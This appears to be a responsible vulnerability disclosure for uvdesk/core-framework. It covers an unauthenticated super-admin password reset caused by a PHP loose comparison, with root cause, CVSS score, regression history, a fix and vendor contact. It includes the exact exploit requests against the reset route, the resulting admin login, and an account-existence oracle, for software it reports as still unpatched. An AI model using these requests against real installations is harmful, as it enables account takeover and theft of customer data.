| Description | uvdesk/core-framework v1.0.8 through v1.1.7 (and master HEAD), as shipped by
uvdesk/community-skeleton up to and including v1.1.8, allows a completely unauthenticated attacker to
set the password of the ROLE_SUPER_ADMIN account created by the product's own install wizard, and
then log in as that account. No session, no cookie, no CSRF token and no prior request of any kind
are required.
CLASS AND SCORE
CWE-287 (Improper Authentication) via CWE-1025 (Comparison Using Wrong Factor - PHP loose comparison).
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
AFFECTED FILE, FUNCTION AND PARAMETER
Controller/Authentication.php, function updateCredentials(), parameter $verificationCode (route
segment), lines 120-131:
$user = ...->findOneByEmail($email);
$lastUpdatedInstance = ...->lastUpdatedRole($user);
if (empty($user) || $user->getVerificationCode() != $verificationCode) <- loose !=
{ ...reject... }
Resources/config/routes/public.yaml, lines 8-12:
helpdesk_update_account_credentials:
path: /{_locale}/update-credentials/{email}/{verificationCode}
defaults: { _locale: '%locale%', email: '', verificationCode: '' }
Because {verificationCode} carries a default, omitting the trailing segment binds it to the empty
string. In PHP, null == "" evaluates to TRUE (php -r 'var_dump(null != ""); var_dump(null == "");'
-> bool(false) / bool(true)), so for any account whose verification_code column is still NULL the
reject branch is never taken and the password-reset form is both served and accepted. The account
created by the install wizard has verification_code = NULL, so a stock installation is exploitable
out of the box.
ENTRY POINT
GET/POST /{_locale}/update-credentials/{email} (token segment omitted)
PROOF OF CONCEPT (verbatim from my own run on 2026-07-30)
Environment: git clone of community-skeleton, docker build from the vendor's own Dockerfile (composer
resolves uvdesk/core-framework v1.1.7), installed by driving the vendor's shipped wizard with nothing
seeded by hand, then switched to APP_ENV=prod. Version reported by the running instance:
composer.lock "uvdesk/core-framework" : "v1.1.7"; git describe --tags -> v1.1.8-1-g6f35040f.
Shipped state after the wizard finishes:
id email verification_code role
1 [email protected] NULL ROLE_SUPER_ADMIN
Baseline: the real installer password works.
POST /en/member/login [email protected]&_password=Correct-Horse-1
HTTP/1.1 302 Found -> /en/member/dashboard
NEGATIVE CONTROL: same endpoint WITH a wrong 32-character token.
GET /en/update-credentials/[email protected]/AAAA...(32 chars) -> 302 Found -> /en/
POST same URL, password=Neg-Control-1&confirmPassword=Neg-Control-1 -> 302 Found -> /en/
Password hash unchanged and Neg-Control-1 does not authenticate. This pins the bug to the loose
comparison rather than to an unprotected endpoint.
EXPLOIT: omit the token segment entirely.
GET /en/update-credentials/[email protected]
HTTP/1.1 200 OK
<form action="" method="post" id="resetPasswordForm">
name="password" / name="confirmPassword"
(no CSRF field in the form; the controller reads $request->request->all() raw)
POST /en/update-credentials/[email protected]
password=Pwn3d-By-Anon-1&confirmPassword=Pwn3d-By-Anon-1
HTTP/1.1 302 Found -> /en/member/login
Database after the request:
password hash $argon2id$...$LNdCoKGyFOF... -> $argon2id$...$4hA8EC6yygM...
verification_code NULL -> I7EmVidHlFdqvEDaFxWq5sKXL9PjsT6L
IMPACT, OBSERVED
POST /en/member/login [email protected]&_password=Pwn3d-By-Anon-1
HTTP/1.1 302 Found -> /en/member/dashboard
With that session, HTTP 200 on /en/member/dashboard (title "Dashboard", identity "Helpdesk Owner"),
/en/member/agents, /en/member/customers, /en/member/tickets and /en/member/settings/mailbox (the
inbound-mail / IMAP configuration surface). The identical requests without the session return 302
to the login page. The legitimate wizard password no longer authenticates, so the attack is also a
denial of service against the real administrator.
Post-exploitation reach is genuine ROLE_SUPER_ADMIN: all tickets and customer PII, agent
management, branding, and the mailbox/SMTP configuration - the same authenticated-admin surface
that previously produced CVE-2023-0265, CVE-2023-39147 and CVE-2024-0916.
REGRESSION PROVENANCE - the guard used to exist
git log -S 'empty($verificationCode)' -- Controller/Authentication.php
06feade "Forget Password rendering of pages change" 2020-02-03
git show v1.0.7:Controller/Authentication.php
if (empty($email) || empty($verificationCode)) return new Response('How did you land here? :/',404);
git tag --contains 06feade -> v1.0.8 ... v1.0.17, v1.1.0 ... v1.1.7
AFFECTED: uvdesk/core-framework v1.0.8 - v1.1.7 inclusive and master HEAD 3b31910; shipped by
uvdesk/community-skeleton through v1.1.8 and master 6f35040
NOT AFFECTED: v1.0.7 and earlier
The guard was deleted in an error-page refactor on 2020-02-03, so the issue has been exploitable for
about 6.5 years. This also removes any "intended behaviour" defence.
STILL UNPATCHED (checked 2026-07-30)
Latest releases are core-framework v1.1.7 and community-skeleton v1.1.8 (both 2025-09-19); neither
has been superseded. Master head is 3b319100eaae62e659caa0d2979659ac182f34ed. Authentication.php at
that branch (blob 030b7d3c569cc6548084d2fb416188a8811d77ea) still contains the loose != and no
empty($verificationCode) rejection, and public.yaml still declares verificationCode: '' as default.
PRECONDITION, STATED HONESTLY
The targeted account must still have verification_code = NULL. That is the shipped state of the
install-wizard super-admin, not a configuration choice - I observed it immediately after driving the
vendor's own installer with nothing seeded by hand. A single anonymous POST /en/forgot-password for
that address populates the token and closes the hole; I measured this live, and it happens even with
MAILER_DSN=null://null, because EmailService::getEmailPlaceholderValues() persists the token before
sendMail() is reached. So an administrator who has ever used forgot-password for their own address is
not vulnerable.
Scope is also narrower than "any account": getEmailPlaceholderValues() has exactly five call sites,
all for the subject of an Agent-Created / Customer-Created / User-Forgot-Password / prepared-response
mail, so agents and customers created through the admin UI or from an inbound mailbox do get a token
and are NOT vulnerable. The durable target is the install-wizard super-admin, and because ticket
notifications use getTicketPlaceholderValues() and never getEmailPlaceholderValues(), that account's
token stays NULL indefinitely no matter how busy the helpdesk gets.
The endpoint additionally provides an unauthenticated, zero-side-effect oracle: 200 = the account
exists and is exploitable, 302 = exists but the token is set, 500 = address unknown (line 124 calls
lastUpdatedRole($user) and dereferences NULL before the empty($user) guard).
SUGGESTED FIX
Restore the guard removed in 06feade (reject an absent or empty token first); replace the loose
comparison with hash_equals(); move lastUpdatedRole($user) after the empty($user) guard; add token
expiry, a CSRF token on resetPassword.html.twig, and rate limiting.
REPRODUCTION NOTE
The image webkul/uvdesk:latest is stale (core-framework v1.0.17 - still affected, but not the audited
version); build from the Dockerfile in community-skeleton master to obtain v1.1.7. The shipped
uvdesk-entrypoint.sh uses pre-MySQL-8 GRANT ... IDENTIFIED BY syntax, which fails silently on the
MySQL 8 the image installs, so the application database user must be created by hand first.
VENDOR CONTACTED
Yes, before this submission. Reported privately on 2026-07-30 to [email protected], the address
named in the vendor's own .github/SECURITY.md. GitHub private vulnerability reporting is disabled on
both uvdesk repositories, so that mailbox is the only private channel available. I offered to hold on
their timeline or to withdraw this request if they prefer to publish their own GitHub Security
Advisory. The vendor has not pushed a commit since 2025-10-01, so a reply may not come; default
window is 90 days from 2026-07-30.
DUPLICATE CHECK (re-done from scratch on 2026-07-30)
No repository security advisory, no GHSA, none of the eight existing NVD CVEs for UVdesk, no open or
closed issue or pull request, nothing on huntr or OpenCVE, and no vendor documentation describes this
issue. The one near-match, GHSA-78wq-6gcv-w28r, turned out to affect idno/known, a different product.
VALIDATION NOTE
Validated against the official released code named above, built and deployed locally in Docker with
APP_ENV=prod. Not tested against any third party's live instance. All test containers were removed
afterwards.
|
|---|